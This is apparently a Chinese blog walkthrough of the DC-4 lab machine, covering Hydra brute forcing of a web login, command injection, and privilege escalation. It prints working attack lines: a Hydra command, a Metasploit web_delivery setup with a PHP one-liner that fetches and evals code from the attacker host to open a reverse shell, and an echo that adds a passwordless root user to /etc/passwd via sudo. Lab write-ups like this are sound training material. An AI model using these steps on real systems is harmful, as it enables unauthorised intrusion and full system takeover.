Vulhub-DC-4靶场

前言

这套靶场的亮点在于对hydra的运用比较多,在遇到大容量字典的时候,BurpSuite可能会因为设置的运行内存的限制,导致字典需要花很长时间导入进去,虽然通过修改配置文件可以解决这点,但是总没有Hydra爆破工具来的更加友好。

通过本篇博客着重学习以下三点:

1.Hydra爆破

2.MSF PHP木马加载

3./etc/passwd写入root用户

正文

信息搜集

传统艺能: arp-scan -l,发现存活IP:

Vulhub-DC-4靶场_st表

使用Nmap进行端口探测,发现存活80端口和22端口

Vulhub-DC-4靶场_免密码_02

账户爆破

进入Web页面后发现如下界面

Vulhub-DC-4靶场_php_03

这边呢看到登录表单,又是admin,尝试使用Burp,账户名是admin进行爆破,但是因为字典太大的缘故。字典一直导入不进去,所以尝试使用Xhydra进行爆破。这边因为是post表单所以选择http-post-form,字典选用kali自带的rockyou字典​

命令如下:

hydra -l admin -P rock.txt 192.168.40.130 "/login.php:username=^USER^&&password=^PASS^:S=lougout" -F


爆破出账户为admin,密码为happy

后台Getshell

这边有三个命令选型,进行抓包,查看数据包:

Vulhub-DC-4靶场_免密码_04

看一看存在命令执行漏洞,尝试读取敏感文件/etc/passwd,可以看到存在两个用户,分别为Jim和Sam

Vulhub-DC-4靶场_st表_05

这边因为目标靶机是Linux,并且肯定跑着PHP,所以想着使用生成木马getshell,打开msfconsole,使用以下模块

msf6>use exploit/multi/script/web_delivery
msf6>set lhost 192.168.40.128
msf6>set lport 4444
msf6>set payload php/meterpreter/reverse_tcp


生成如下命令,讲radio栏中的命令进行替换,成功获得会话

php -d allow_url_fopen=true -r "eval(file_get_contents('http://192.168.40.128:8081/VCrYQNz9f9yp', false, stream_context_create(['ssl'=>['verify_peer'=>false,'verify_peer_name'=>false]])));"


Vulhub-DC-4靶场_php_06

进入会话使用python获得伪终端:Vulhub-DC-4靶场_php_07

进入后在家目录下发现三个用户,并且在jim用户下找到旧密码的备份文件,保存到本地,使用hydra进行ssh爆破

Vulhub-DC-4靶场_root权限_08

使用ssh成功登录,过了一会儿收到一封邮件,提示/var/mail下的jim文件,最后得到charles的密码,进行用户切换。

权限提升

使用sudo -l 看到teehee可以免密码执行root权限。并且teehee可以讲字段附加到文本末。

这里需要先了解下/etc/passwd里不同字段的含义。

  注册名:口令:用户标识号:组标识号:用户名:用户主目录:命令解释程序 


所以我们尝试写入具有root权限的用户到/etc/passwd来进行提权

echo "ha::0:0::/home/jim:/bin/bash" |sudo teehee -a "/etc/passwd"


期间多次su无法进入Root,最终重启虚拟机成功root.

最终拿到Flag

Vulhub-DC-4靶场_免密码_09